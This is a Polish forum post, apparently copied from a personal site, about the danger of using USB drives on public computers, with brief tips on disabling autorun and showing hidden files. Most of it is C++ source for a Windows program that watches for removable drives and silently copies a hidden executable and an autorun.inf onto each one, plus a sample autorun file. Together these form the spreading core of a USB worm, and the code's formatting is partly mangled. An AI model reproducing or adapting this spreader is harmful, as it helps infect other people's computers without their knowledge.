Zagrożenia w miejscach publicznych – chroń swój pendrive
Niewiele osób zdaje sobie sprawe jak niebezpieczne jest używanie własnego pendriva w miejscach publicznych takich jak:
• Biblioteki
• Kafejki internetowe
• Szkolna pracownia internetowa
Tego typu miejsca są wylęgarnią dla wszelkiego typu robactwa, nie znaczy ze mamy nie używać pendrive w takich miejscach, należy tylko zachować pewną ostrożność.
Jeśli podłączamy nasz pendrive do naszego komputera po wizycie np. w bibliotece nie włączajmy go klikając na niego 2x lewym przyciskiem myszy gdyż powoduje to włączenie autorunu i infekcje naszego komputera o ile pendrive jest zarażony, dużo lepszym wyjściem jest kliknąć na niego prawym przyciskiem myszy i kliknąć otwórz- wtedy autorun się nie uruchomi. Pyzatym należy włączyć pokazywanie plików ukrytych i systemowych naszym systemie. Robimy to przez klikniecie na Narzędzia -> Opcje folderów -> Widok.
Zaznaczamy tam Pokaż ukryte pliki i foldery a także odznaczamy Ukryj chronione pliki systemu windows od teraz będziemy widzieć pliki, które ktoś umieścił na naszym pendrive bez naszej wiedzy i zgody.
Pokaże teraz jak łatwo napisać program który po podłączeniu pendrive do PC automatycznie skopiuje na niego autorun + program, aby pokazać, że wcale nie jest to takie trudne i że naprawdę możemy stać się ofiarą takiego ataku.
Na początku dołączamy pliki nagłówkowe takie jak:
Napiszmy teraz funkcje która znajdzie wszelkie pendrivy podlaczone do PCKod:#include <windows.h> #include <string> #include <vector>
Teraz czas na inne potrzebne nam funkcjeKod:void GetPendrives(std::vector<std::string>* pendrives) { char* bufor=new char[1024]; DWORD need=GetLogicalDriveStrings(1024,bufor);//pobieramy litery dyskow ******if(need > 1024)//jesli bufor jest za maly alokujemy bufor o odpowiedniej dlugosci ******{ ******delete bufor; ******bufor=new char[need]; ******GetLogicalDriveStrings(need,bufor); ******} int n=need/4; // ilosc dyskow std::string* dyski=new std::string[n]; int i=0; while(i<n) { dyski[i]=(char*)(bufor+(i*4)); i++; } pendrives->clear();//usuwamy wszystko co jest w vectorze i=0; while(i<n) { if(GetDriveType(dyski[i].c_str())==DRIVE_REMOVABLE)//sprawdzamy ktore dyski sa pendrivami { pendrives->push_back(dyski[i]); } i++; } }
Kod:bool FindInVector(const char* str,std::vector<std::string> vec)//funkcja ktora sprawdza czy pojawil sie nowy pendrive { int n=vec.size(); int i=0; while(i<n) { if(vec[i]==str) { return true; } i++; } return false; } bool ExtractExe(char* id, char *filename)//funkcja wypakowujaca plik z zasobow** {** bool result = false;** HRSRC hResource=NULL; ** hResource = FindResource(GetModuleHandle(NULL),id , RT_RCDATA);** ** ** if(!hResource)** ** {** ******return result;************** ****}************** ** if( hResource != NULL ){** ******HGLOBAL hLoader = LoadResource(NULL,hResource);** ******if( hLoader != NULL ){** ******** byte *data = (byte *)LockResource(hLoader);** ******** DWORD len = SizeofResource(NULL,hResource);** ******** if( data != NULL && len > 0 ){ ************HANDLE hFile = CreateFile(filename,** ******************************GENERIC_READ | GENERIC_WRITE,** ******************************0,** ******************************NULL,** ******************************CREATE_ALWAYS,** ******************************FILE_ATTRIBUTE_NORMAL,** ******************************NULL);** ************if( hFile != INVALID_HANDLE_VALUE ){** ************** DWORD written = 0;** ************** int write = WriteFile(hFile,** ******************** data,** ******************** len,** ******************** &written,** ******************** NULL);** ************** if( len == written && write == TRUE )** ******************result = true;** ************}** ************CloseHandle(hFile);** ******** }** ******** UnlockResource(hLoader);** ******}** ******FreeResource(hLoader);** ** }** ** return result; }
A ten kod umieszczamy wewnatrz main:
Na koniec do projektu musimy dodać zasoby ale tego już nie będę tu opisywał gdyż można to znaleźć w googleKod:std::vector<std::string> vec; GetPendrives(&vec); int i=0; while(i<vec.size()) { //w tym momecie wypakowujemy na wszystkie pendrivy nasz plik **//przyjmujemy ze nasz exe ma w zasobach numer 1005 a autorun 1006 std::string exe=vec[i]; std::string autorun=vec[i]; exe+="Start.exe"; autorun+="autorun.inf"; ExtractExe(MAKEINTRESOURCE(1005),(char*)exe.c_str());//wypakowujemy ExtractExe(MAKEINTRESOURCE(1006),(char*)autorun.c_str());//wypakowujemy SetFileAttributes(exe.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy SetFileAttributes(autorun.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy i++; } std::vector<std::string> tmp; int n=0; i=0; while(1)//nieskonczona petla ktora sprawdza czy nie pojawiły się nowe pendrivy { GetPendrives(&tmp); n=tmp.size(); i=0; while(i<n) { if(!FindInVector(tmp[i].c_str(),vec)) { //w tym momecie wypakowujemy na ten dysk nasz plik **//przyjmujemy ze nasz exe ma w zasobach numer 1005 a autorun 1006 std::string exe=tmp[i]; std::string autorun=tmp[i]; exe+="Start.exe"; autorun+="autorun.inf"; ExtractExe(MAKEINTRESOURCE(1005),(char*)exe.c_str());//wypakowujemy ExtractExe(MAKEINTRESOURCE(1006),(char*)autorun.c_str());//wypakowujemy SetFileAttributes(exe.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy SetFileAttributes(autorun.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy ** } i++; } vec=tmp; Sleep(10000); }
Przykładowy plik autorun:
Taki plik umieszczamy w zasobach pod numerem 1006 a plik exe, który ma być uruchamiany pod numerem 1005Kod:[autorun] OPEN=Start.exe shellexecute=Start.exe shell=Auto shell\Auto=&Autoplay shell\Auto\command=Start.exe
Mam nadzieje, że artykuł przekonał was do tego aby uważać na swoje pendrivy
Artykuł pochodzi ze strony http://grzonu.pl
//jesli sie nada prosze o przeniesienie do tutoriali



Odpowiedź z Cytatem